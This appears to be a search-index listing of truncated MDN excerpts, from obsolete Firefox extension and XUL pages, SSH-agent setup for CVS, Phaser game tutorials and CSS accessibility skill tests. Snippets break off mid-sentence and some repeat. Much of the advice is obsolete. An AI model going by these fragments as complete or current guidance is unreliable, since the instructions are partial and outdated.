startup;1"] .getservice(components.interfaces.nsiapp
startup); app
startup.quit(components.interfaces.nsiapp
startup.ere
start | components.interfaces.nsiapp
startup.eattemptquit); } catch(err) { alert("couldn't change locale: " + err); } } * * * here i include a complete xulrunner application example that demonstrates the locale switching. the code snip...
Extentsions FAQ - Archive of obsolete content
here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window. there are workarounds to this restriction by messing around with overflow or negative margins but i forgot offhand how to do that. how to create a dynamic drop down menu that may have submenus using javascript for an extension? these two links should give you a
starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...dommodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails via autodetect. <https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addresses and doesn't always add default" there is an extension t...
...tion that the answer given worked yet. is it possible to open the url in a new tab? var tab = gbrowser.addtab( url ); // and if you want it to load in the foreground: gbrowser.selectedtab = tab; is it possible to read the html-code of the current url/site? yes, this is possible. use the dom api (http://www.w3schools.com/dom/default.asp has a good tutorial). not the best answer but a good
starting point for the question asker to do some research towards the answer. why does his extension not able to read the contents of a folder and then produce a segmentation fault after his extension reads preferences in thunderbird? the person was missing a method call to getservice. are there any built in libraries that can be used to encrypt data? yes. you can use nsisecretdecoderring.e...
... http://developer.mozilla.org/en/docs...pcom_component would anyone be able to suggest the best way to do source level debugging in a firefox extension? in the debug menu, uncheck exclude browser files. use the debugger by typing in a command like this: /break chrome://myextension/content/myfile.js 123 then i suggest using flat chrome. if you turn off the xul cache you don't even need to re
start to see changes, simply open a new window. how can i backup some of the files before upgrade an extension and put them back afterward? do i need to write an installation script to achieve this? you shouldn't store data there, so there's nothing to backup. do not store files within the extension directory. the profile directory is ment to do so. storing files within the extension directory ...
...t require to write xpcom/xpconnect component that able to intercept,process and redirect http request? when does content become available in the cache? can "partial" data be read from the cache while the request is still in progress?how difficult is to write a firefox extensions that does intercetp, process and redirect http request? can anyone point me to any good tutorials that may help me get
started? where to modify the email addresses being returned by an ldap address book? friday, october 13 - 20, 2006 (↑ top) is there an extension or script get the actual link of a redirected zip file? which mozilla objects to use to download the data the url points to and how to combine them? can anyone recomment the best way to implement unit tests for an extension and are there any unit...
Theme changes in Firefox 2 - Archive of obsolete content
you browse to a suspected phishing site. search/enginemanager.xul enginemanager.css new file containing the ui for the search engine manager window. toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2. changes to the default theme the table below lists all the changes made in the default theme for firefox 2; you can use this information as a
starting point for figuring out the changes you need to make. file description of change browser/bookmarks/addbookmark.css updated to include microsummary-related css changes. browser/bookmarks/bookmarksproperties.css new file; includes microsummary-related css. browser/browser.css needs to be updated to include new css for microsummaries, search fields,...
...n autorepeat up arrow in a scroll box. global/scrollbox.css needs to be updated to include new styles. global/tab-arrow-end-bkgnd.png new file; the background for the scrolling tab bar arrow at the right side of the tab bar. global/tab-arrow-end.png new file; the arrow drawn in the scrolling tab bar box at the right end of the tab bar. global/tab-arrow-
start-bkgnd.png new file; the background for the scrolling tab bar arrow at the left side of the tab bar. global/tab-arrow-
start.png new file; the arrow drawn in the scrolling tab bar box at the left end of the tab bar. global/tab-left.png new file; the left edge of a tab. global/tab-middle.png new file; the middle of a tab. global/tab-right.png new fi...
...on .searchbar-engine-button:hover .searchbar-engine-button[addengines="true"] .searchbar-engine-button[open="true"] .searchbar-engine-menuitem[selected="true"] > .menu-iconic-text .searchbar-left you may of course wish to make changes to other styles as well. ...
...ton:hover .searchbar-engine-button[addengines="true"] .searchbar-engine-button[open="true"] .searchbar-engine-menuitem[selected="true"] > .menu-iconic-text .searchbar-left you may of course wish to make changes to other styles as well. ...
Using SSH to connect to CVS - Archive of obsolete content
w <i>proxyserver.foo.com</i> <i>port</i> %h %p replaceproxyserver.foo.com with the hostname of your proxy server, andport with the numeric tcp port on which the http tunnel is running. the usual cvs commands should now work. avoiding passphrase requests you can avoid repeated passphrase requests by using ssh-agent. if you don't already run ssh-agent on your computer, it's probably easiest to
start it up whenever you set up your environment to checkout and build mozilla. assuming you use a shell script or batch file to set things up, just add the commands below to the end of your file. posix shell eval `ssh-agent -s` ssh-add ~/.ssh/id_dsa $shell ssh-agent -k exit x windows in "~/.xinitrc" add "ssh-add". this will bring up a graphic box just after login, and before the desktop loads, as...
... bring up a graphic box just after login, and before the desktop loads, asking for your passphrase. the passphrase will be held for the length of the x session, and be passed on to all child shells. ms-dos command prompt cygwin for /f "tokens=1,2,3* delims=; " %%a in ('ssh-agent -c') do if "%%a"=="setenv" set %%b=%%c set home=/cygdrive/c/path/to/your/cygwin/home/directory ssh-add ~/.ssh/id_dsa
start /b /wait cmd.exe ssh-agent -k exit essentially both sets of commands do the same thing. first ssh-agent is called and its output is evaluated in the current environment. this sets environment variables that let cvs know how to find and use the agent. your private key is then added to ssh-agent using ssh-add at which point you will be prompted for the key's passphrase. since it's important that ...
...s do the same thing. first ssh-agent is called and its output is evaluated in the current environment. this sets environment variables that let cvs know how to find and use the agent. your private key is then added to ssh-agent using ssh-add at which point you will be prompted for the key's passphrase. since it's important that you kill the agent when you're finished with it, the last three lines
start a child environment that, when exited, will result in the agent's process being killed. the environment you will actually use to build is the child environment. there are a few things to note about the commands for the ms-dos command prompt. first of all they will only work in versions of windows based on nt (nt/2000/xp). if you're building on win9x/winme you'll need to find an alternative solut...
...eed to find an alternative solution. if you're typing the commands directly (as opposed to storing them in a batch file that you call), you'll need to replace the occurances of "%%" in the first line with "%". finally, note that ssh-add needs the environment variable home to be set with the cygwin path to your cygwin home directory. mozillabuild if you're using mozillabuild, ssh-agent should be
started when you run the
start-msvc???.bat file. you should be prompted to enter your passphrase. mozillabuild 1.2 contains a bug that will stop ssh-agent from automatically
starting with msys. to fix this, apply this diff to c:\mozilla-build\msys\etc\profile.d\profile-sshagent.sh. ...
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
backcompleted() parameters asyncoperationid the id associated with the asynchronous operation. status optional the status of the asynchronous operation. if not specified, debug.ms_async_op_status_success is used. remarks call this function when the asynchronous operation completes. asyncoperationid must correspond to the operation id previously returned from debug.mstraceasyncoperation
starting. the possible values for status include: debug.ms_async_op_status_success debug.ms_async_op_status_canceled debug.ms_async_op_status_error note: some debugging tools do not display the information sent to the debugger. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. function asyncwrapperfunction() { var...
...s include: debug.ms_async_op_status_success debug.ms_async_op_status_canceled debug.ms_async_op_status_error note: some debugging tools do not display the information sent to the debugger. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. ...
...t to the debugger. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. function asyncwrapperfunction() { var opid = debug.mstraceasyncoperation
starting('async trace'); dosomethingasync().then(function (result) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_success); debug.mstraceasynccallback
starting(opid); // process result of async operation. ...
...also supported in store apps (windows 8.1 and windows phone 8.1). ...
XForms Custom Controls - Archive of obsolete content
! purpose you are in the right place if you would like to create your own custom renderings of the xforms controls like input, output, trigger, etc. we will also show you how to create custom controls that work with the xforms model and are automatically updated just like xforms controls. the purpose of this article is to give you enough background information so that you'll be able to get a good
start. to really grasp the following information, a good understanding of xforms, xbl, javascript and css is needed. xpcom knowledge will certainly not hurt. but even if you are only comfortable with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to. implementation status the framework we use in the mozilla xforms processor is...
...ou are only comfortable with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to. implementation status the framework we use in the mozilla xforms processor is very much a "work in progress". please keep in mind that just about everything we mention here may change to some degree as we continue to work on it. work has just
started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and common way to customize your form's user interface across all xforms processors. why do you need this you will probably find that your need for customization will fall into one of the following categories: custom presentation - xforms controls as rendered by the m...
...tation bindings that will inherit from these base bindings. for example, every output control implementation extends the base binding xforms.xml#xformswidget-output-base. the xhtml-specific pieces of our implementation of output is kept in the xforms-xhtml.xml#xformswidget-output binding. if you would like to do this kind of heroic work then please contact the mozilla xforms developers before you
start. hopefully we can help you avoid a lot of frustration and despair :). overview the mozilla xforms controls are largely implemented using xbl and the bindings are applied to the individual xforms control tags via css. so you can always refer to our source code to get some great examples of how xforms controls can be written. this will also allow you to be up to date with our current approaches (of...
...implemented using xbl and the bindings are applied to the individual xforms control tags via css. so you can always refer to our source code to get some great examples of how xforms controls can be written. this will also allow you to be up to date with our current approaches (often the result of hard-learned lessons) and that will hopefully help you to more easily write your own controls. to get
started, you really only need to know the language where you'd like to use xforms (like xhtml or xul), some xbl and javascript, and the xpcom interfaces we are exposing for your use. details interfaces this section describes interfaces you need to know. there are two main groups of interfaces -> callback interfaces that must be implemented by the custom controls and the interfaces that custom controls ...
Unconventional controls - Game development
other remote keys? you can check them by printing the responses out in the console: window.addeventlistener("keydown", function(event) { console.log(event.keycode); }, this); every key pressed on the remote will show its key code in the console. you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states,
starting a new game, controlling the ship and blowing stuff up, pausing and re
starting the game. all that is needed is checking for key presses: window.addeventlistener("keydown", function(event) { switch(event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ... } },...
... by javascript developers visiting demo booths at conferences around the world. as well as being great for virtual interfaces, it can also be used for a casual 2d gaming experiences. it would be very difficult to do everything with only your hands, but it's totally doable for the simple captain roger's gameplay — steering the ship and shooting the bullets. there's good hello world and getting
started javascript tutorials available on the leap motion documentation pages, which will get you through the basics. you can also check out the tutorial about using leap motion plugin for kiwi.js, or the case study of building a web game with leap motion and pixi.js. be sure to visit the leapjs repository on github to learn about the javascript client for the leap motion controller and read the docume...
...lculated in centimetres. note: see the deviceproximityevent reference page for more details. makey makey if you want to go completely bananas you can use makey makey, a board that can turn anything into a controller — it's all about connecting real-world, conductive objects to a computer and using them as touch interfaces. check out the banana piano video, and be sure to visit the quick
start guide for all the needed info. there's even a cylon.js-supported makey button functionality inspired by the makey makey board, so you can use the popular cylon robotics framework for your experiments with arduino or raspberry pi. connecting the boards and using them may look like this: var cylon = require('cylon'); cylon.robot({ connections: { arduino: { adaptor: 'firmata', port: '/dev/tt...
...experiments with arduino or raspberry pi. connecting the boards and using them may look like this: var cylon = require('cylon'); cylon.robot({ connections: { arduino: { adaptor: 'firmata', port: '/dev/ttyacm0' } }, devices: { makey: { driver: 'makey-button', pin: 2 } }, work: function(my) { my.makey.on('push', function() { console.log("button pushed!"); }); } }).
start(); as the description says: this gpio driver allows you to connect a 10 mohm resistor to a digital pin on your arduino or raspberry pi to control your robots with bananas, clay, or drawable circuitry. summary i hope you liked the experiments — if you have any others that you think might interest other people, feel free to add details of them here. and remember: have fun making games! p...
Player paddle and controls - Game development
iddle of the screen. in our case the world is the same as the canvas, but for other types of games, like side-scrollers for example, the world will be bigger, and you can tinker with it to create interesting effects. as you'll notice if you reload your index.html at this point, the paddle is currently not exactly in the middle. why? because the anchor from which the position is calculated always
starts from the top left edge of the object. we can change that to have the anchor in the middle of the paddle's width and at the bottom of it's height, so it's easier to position it against the bottom edge. add the following line below the previous new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be. now, to make it collide with the ball we have to enable ph...
...t the bottom edge. add the following line below the previous new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be. now, to make it collide with the ball we have to enable physics for the paddle. continue by adding the following new line, again at the bottom of the create() function: game.physics.enable(paddle, phaser.physics.arcade); now the magic can
start to happen — the framework can take care of checking the collision detection on every frame. to enable collision detection between the paddle and ball, add the collide() method to the update() function as shown: function update() { game.physics.arcade.collide(ball, paddle); } the first parameter is one of the objects we are interested in — the ball — and the second is the other one, t...
...ystem's default input (mouse or touch, depending on platform) and set the paddle position to where the input position is. add the following new line to the update() function, as shown: function update() { game.physics.arcade.collide(ball, paddle); paddle.x = game.input.x; } now on every new frame the paddle's x position will adjust accordingly to the input's x position, however when we
start the game, the position of the paddle is not in the middle. it's because the input position is not yet defined. to fix that we can set the default position (if an input position is not yet defined) to be the middle of the screen. update the previous line as follows: paddle.x = game.input.x || game.world.width*0.5; if you haven't already done so, reload your index.html and try it out! position ...
...exactly as we want it we will set the anchor to the exact middle of the ball. find the existing ball = game.add.sprite( ... ) line, and replace it with the following two lines: ball = game.add.sprite(game.world.width*0.5, game.world.height-25, 'ball'); ball.anchor.set(0.5); the velocity stays almost the same — we're just changing the second parameter's value from 150 to -150, so the ball will
start the game by moving up instead of down. find the existing ball.body.velocity.set( ... ) line and update it to the following: ball.body.velocity.set(150, -150); now the ball will
start right from the middle of the paddle. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps we can move the p...
Time to first byte - MDN Web Docs Glossary: Definitions of Web-related terms
time to first byte (ttfb) refers to the time between the browser requesting a page and when it receives the first byte of information from the server. ...
... time to first byte (ttfb) refers to the time between the browser requesting a page and when it receives the first byte of information from the server. ...
... byte (ttfb) refers to the time between the browser requesting a page and when it receives the first byte of information from the server. ...
...fers to the time between the browser requesting a page and when it receives the first byte of information from the server. ...
Test your skills: CSS and JavaScript accessibility - Learn web development
ll which one the user is focussed on. we'd like you to assume that the existing ruleset with the a selector is supplied by some cms, and that you can't change it — instead, you need to create new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. css accessibility 2 in this next task you are presented with a simple bit of content — just headings and paragraphs. there are accessibility issues with the colors and sizing of the text; we'd like you to: 1. explain what the problems are, and what the guidelines are that state the acceptable values for color and siz...
...e acceptable values for color and sizing. 2. select new values for the color and font-size that fix the problem. 3. update the css with these new values to fix the problem. 4. test the code to make sure the problem is now fixed. explain what tools or methods you used to select the new values and test the code. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. javascript accessibility 1 in our final task here, you have some javascripting to do. we have a simple app that presents a list of animal names. clicking one of the animal names causes a further description of that animal to appear in a box below the list. but it is not very accessible — in its current state you can o...
...you have some javascripting to do. we have a simple app that presents a list of animal names. clicking one of the animal names causes a further description of that animal to appear in a box below the list. but it is not very accessible — in its current state you can only operate it with the mouse. we'd like you to add to the html and javascript to make it keyboard acessible too. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for css accessibility 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
HTML: A good basis for accessibility - Learn web development
eo</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter. semantic html doesn't take any longer to write than non-semantic (bad) markup if you do it consistently from the
start of your project. even better, semantic markup has other benefits beyond accessibility: easier to develop with — as mentioned above, you get some functionality for free, plus it is arguably easier to understand. better on mobile — semantic html is arguably lighter in file size than non-semantic spaghetti code, and easier to make responsive. good for seo — search engines give more import...
...r extra clues about the content they are navigating (see screen reader support for new html5 section elements for an idea of what screen reader support is like). note: in addition to having good semantics and an attractive layout, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to
start with, so what screen reader users get read out to them will make sense. ui controls by ui controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects o...
...wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be manipulated by the keyboard. you can try this out using our native-keyboard-accessibility.html example (see the source code). ...
...other form elements have different controls, for example, the <select> element can have its options displayed and cycled between using the up and down arrow keys. note: different browsers may have different keyboard control options available. see using native keyboard accessibility for more details. ...
HTML: A good basis for accessibility - Learn web development
eo</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can navigate between buttons using the tab key and activate their selection using return or enter. semantic html doesn't take any longer to write than non-semantic (bad) markup if you do it consistently from the
start of your project. even better, semantic markup has other benefits beyond accessibility: easier to develop with — as mentioned above, you get some functionality for free, plus it is arguably easier to understand. better on mobile — semantic html is arguably lighter in file size than non-semantic spaghetti code, and easier to make responsive. good for seo — search engines give more import...
...r extra clues about the content they are navigating (see screen reader support for new html5 section elements for an idea of what screen reader support is like). note: in addition to having good semantics and an attractive layout, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to
start with, so what screen reader users get read out to them will make sense. ui controls by ui controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects o...
...wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be manipulated by the keyboard. you can try this out using our native-keyboard-accessibility.html example (see the source code). ...
...other form elements have different controls, for example, the <select> element can have its options displayed and cycled between using the up and down arrow keys. note: different browsers may have different keyboard control options available. see using native keyboard accessibility for more details. ...
Test your skills: WAI-ARIA - Learn web development
assessment or further help section at the bottom of this page. wai-aria 1 in our first aria task, we present you with a section of non-semantic markup, which is obviously meant to be a list. assuming you are not able to change the elements used, how can you allow screenreader users to recognize this as a list? try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. wai-aria 2 in our second wai-aria task, we present a simple search form, and we want you to add in a couple of wai-aria features to improve its accessibility: how can you allow the search form to be called out as a separate landmark on the page by screenreaders, to make it easily findable? how can you give the search...
...add in a couple of wai-aria features to improve its accessibility: how can you allow the search form to be called out as a separate landmark on the page by screenreaders, to make it easily findable? how can you give the search input a suitable label, without explicitly adding a visible text label to the dom? ...
...e
starting point for this task to work in your own editor or in an online editor. wai-aria 3 for this final wai-aria task, we return to an example we previously saw in the css and javascript skilltest. as before, we have a simple app that presents a list of animal names. clicking one of the animal names causes a further description of that animal to appear in a box below the list. here, we are
starting with a mouse- and keyboard-accessible version. the problem we have now is that when the dom changes to show a new decription, screenreaders cannot see what has changed. can you update it so that description changes are annouced by the screenreader? download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice th...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for wai-aria 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: The Box Model - Learn web development
he two boxes below, one is using the standard box model, the other the alternate box model. change the width of the second box by adding rules to the .alternate class, so that it matches the visual width of the first box. your final result will look like the image below. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. the box model two in this task, add to the box: a 5px, black, dotted border. a top margin of 20px. a right margin of 1em. a bottom margin of 40px. a left margin of 2em. padding on all sides of 1em. try updating the live code below to recreate the example as displayed in the image: for assessment or furthe...
...k in your own editor or in an online editor. the box model two in this task, add to the box: a 5px, black, dotted border. a top margin of 20px. a right margin of 1em. a bottom margin of 40px. a left margin of 2em. padding on all sides of 1em. try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. the box model three in this example the inline element has a margin, padding and border however the lines above and below are overlapping it. what can you add to your css to cause the size of the margin, padding, and border to be respected by the other lines, while still keeping the element inline? try updating the li...
...example the inline element has a margin, padding and border however the lines above and below are overlapping it. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for box model skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: sizing - Learn web development
here is more content than fits in 100 pixels. test this box by removing the content from the html to make sure you still get a 100 pixel tall box even with no content. the second box should be fixed at 100 pixels tall, so that content will overflow if there is too much. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task two this task has a box, which contains another box. your task is to make the inner box 60% of the width of the outer box. the value of the box-sizing property is set to border-box, which means that the total width includes any padding and border. you should also give the inner box padding of 10% using the width (or...
...ue of the box-sizing property is set to border-box, which means that the total width includes any padding and border. you should also give the inner box padding of 10% using the width (or inline size) as the size from which that percentage is calculated. try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task three this task has two images in boxes. one image is smaller than the box, the other is larger and breaking out of the box. if you imagine that the box is responsive and therefore could grow and shrink, which property would you apply to the image so that the large image shrinks down into the box but the small image...
...ther is larger and breaking out of the box. if you imagine that the box is responsive and therefore could grow and shrink, which property would you apply to the image so that the large image shrinks down into the box but the small image does not stretch. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for sizing skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: values and units - Learn web development
i-opaque. the second list item should use rgb color. the third should use hsl color. the fourth should use rgb color but with the alpha channel set to .2. you can find conversions for the hex color at this link. you need to figure out how to use the values in css. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task two in this task you need to set the size of various items of text. the <h1> should be 50 pixels. the <h2> should be 2em. all <p> elements should be 16 pixels. a <p> element that is directly after an <h1> should be 120%. try updating the live code below to recreate the example as displayed in the image: ...
... an online editor. task two in this task you need to set the size of various items of text. the <h1> should be 50 pixels. the <h2> should be 2em. all <p> elements should be 16 pixels. a <p> element that is directly after an <h1> should be 120%. ...
...ent or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task three in this task you need move the background image so that it is centered horizontally, and 20% from the top of the box. try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for values and units skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: Writing Modes and Logical Properties - Learn web development
ther help section at the bottom of this page. task one the box in the example is displayed with a horizontal writing mode. can you add a line of css to change it so it uses a vertical writing mode with right to left text? your example should look like the image below. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task two in the example below use logical properties to replace width and height in order to maintain the aspect ratio of the box as it is turned vertically. your end result should look like the image below. try updating the live code below to recreate the example as displayed in the image: for assessment or furth...
... in your own editor or in an online editor. task two in the example below use logical properties to replace width and height in order to maintain the aspect ratio of the box as it is turned vertically. your end result should look like the image below. try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task three use logical versions of the margin, border, and padding properties so that the edges of the box relate to the text rather than following top, left, bottom and right. you can see how this should look in the image below. try updating the live code below to recreate the finished example: for assessment or ...
...our own editor or in an online editor. task three use logical versions of the margin, border, and padding properties so that the edges of the box relate to the text rather than following top, left, bottom and right. you can see how this should look in the image below. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for writing modes skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: Flexbox - Learn web development
the assessment or further help section at the bottom of this page. flex layout one these list items are the navigation for a site. they should be laid out as a row, with an equal amount of space between each item. the finished example should look like the image below. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. flex layout two these list items are all different sizes, but we want them to be displayed as three equal sized columns, no matter what content is in each item. try updating the live code below to recreate the finished example: additional questions: can you now make the first item twice the size of the other ite...
...nline editor. flex layout two these list items are all different sizes, but we want them to be displayed as three equal sized columns, no matter what content is in each item. try updating the live code below to recreate the finished example: additional questions: can you now make the first item twice the size of the other items? for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. flex layout three there are two elements in the html below, a div with a class of .parent which contains another div with a class of .child. use flexbox to center the child inside the parent. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the st...
...ve code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. flex layout four in this final task arrange these items into rows as in the image. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for flexbox layout 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: floats - Learn web development
...
...his example the element with a class of float should be floated left. then we want the first line of text to display next to that element, but the following line of text (which has a class of .below) to display underneath it. you can see the desired result in this image. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. float three finally, we have a floated element in this example. the box wrapping the float and text is displaying behind the float. use the most up to date method available to cause the box background to extend to below the float as in the image. try updating the live code below to recreate the finished example: f...
... in an online editor. float three finally, we have a floated element in this example. the box wrapping the float and text is displaying behind the float. use the most up to date method available to cause the box background to extend to below the float as in the image. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for float skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: Multicol - Learn web development
as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. multicol one in this task you need to create three columns, with a 50px gap between each column. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. multicol two create columns which have a minimum width of 200px. then, add a 5px, grey rule between each column, ensuring there is 10px of space between the edge of the rule and the column content. try updating the live code below to recreate the finished example: for assessment or further work purposes, download...
...oint for this task to work in your own editor or in an online editor. multicol two create columns which have a minimum width of 200px. then, add a 5px, grey rule between each column, ensuring there is 10px of space between the edge of the rule and the column content. ...
...ple: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. multicol three cause the element containing the heading and subheading to span across all columns so it looks like the image. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for multicol skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Styling web forms - Learn web development
ith for example a transform: translatey();, it moves but leaves an ugly gap in the <fieldset> border, which is not easy to get rid of. a specific styling example let's look at a concrete example of how to style an html form. we will build a fancy-looking "postcard" contact form; see here for the finished version. if you want to follow along with this example, make a local copy of our postcard-
start.html file, and follow the below instructions. the html the html is only slightly more involved than the example we used in the first article of this guide; it just has a few extra ids and a heading. <form> <h1>to: mozilla</h1> <div id="from"> <label for="name">from:</label> <input type="text" id="name" name="user_name"> </div> <div id="reply"> <label for="mail">reply:</la...
...> <input type="email" id="mail" name="user_email"> </div> <div id="message"> <label for="msg">your message:</label> <textarea id="msg" name="user_message"></textarea> </div> <div class="button"> <button type="submit">send your message</button> </div> </form> add the above code into the body of your html. organizing your assets this is where the fun begins! before we
start coding, we need three additional assets: the postcard background — download this image and save it in the same directory as your working html file. a typewriter font: the "secret typewriter" font from fontsquirrel.com — download the ttf file into the same directory as above. a handdrawn font: the "journal" font from fontsquirrel.com — download the ttf file into the same directory as ab...
...rd background — download this image and save it in the same directory as your working html file. a typewriter font: the "secret typewriter" font from fontsquirrel.com — download the ttf file into the same directory as above. a handdrawn font: the "journal" font from fontsquirrel.com — download the ttf file into the same directory as above. your fonts need some more processing before you
start: go to the fontsquirrel webfont generator. using the form, upload both your font files and generate a webfont kit. download the kit to your computer. unzip the provided zip file. inside the unzipped contents you will find some font files (at the time of writing, two .woff files and two .woff2 files; they might vary in the future.) copy these files into a directory called fonts, in the same ...
... repeat(2, 1fr); grid-template-rows : 10em 1em 1em 1em; } notice that we've used some css grid and flexbox to lay out the form. using this we can easily position our elements, including the title and all the form elements: h1 { font : 1em "typewriter", monospace; align-self : end; } #message { grid-row: 1 / 5; } #from, #reply { display: flex; } labels and controls now we can
start working on the form elements themselves. first, let's ensure that the <label>s are given the right font: label { font : .8em "typewriter", sans-serif; } the text fields require some common rules. simply put, we remove their borders and backgrounds, and redefine their padding and margin: input, textarea { font : 1.4em/1.5em "handwriting", cursive, sans-serif; border : none; padding ...
Test your skills: Advanced styling - Learn web development
in the same directory as our html files — see search-24px.png — plus a <div> element after the search input to help you attach it, should you need it. can you figure out a sensible way to attach it, and can you use some css to get it to sit to the right of the search box, and be lined up vertically as well? try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. advanced form styling 2 in our next task we provide you with a set of three radio buttons. we want you to give them custom styling. we've already provided you with a basic reset to build upon. first of all, get rid of their default styling. next, give the radio buttons a reasonable base style — the style they have...
...e page first loads. this can be anything you like, but you probably want to set a width and height (of somewhere between about 18 and 24 pixels), and a subtle border and/or background color. now give the radio buttons a different style for when they are selected. align the radio buttons nicely with the labels. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. advanced form styling 3 in our final task for this assessment series, we provide you with a feedback form that is already nicely-styled — you've already seen something similar if you've worked through our ui pseudo-classes article, and now we want you to come up with your own solution. what we'd like you to do is make...
...hat we'd like you to do is make use of some advanced pseudo-classes to provide some useful indicators of validity. first of all, we want you to provide some specific styling to visually indicate which inputs have to be filled in — they cannot be left empty. second, we want you to provide a useful visual indicator of whether the data entered inside each input is valid or not. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for advanced form styling 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Test your skills: Form validation - Learn web development
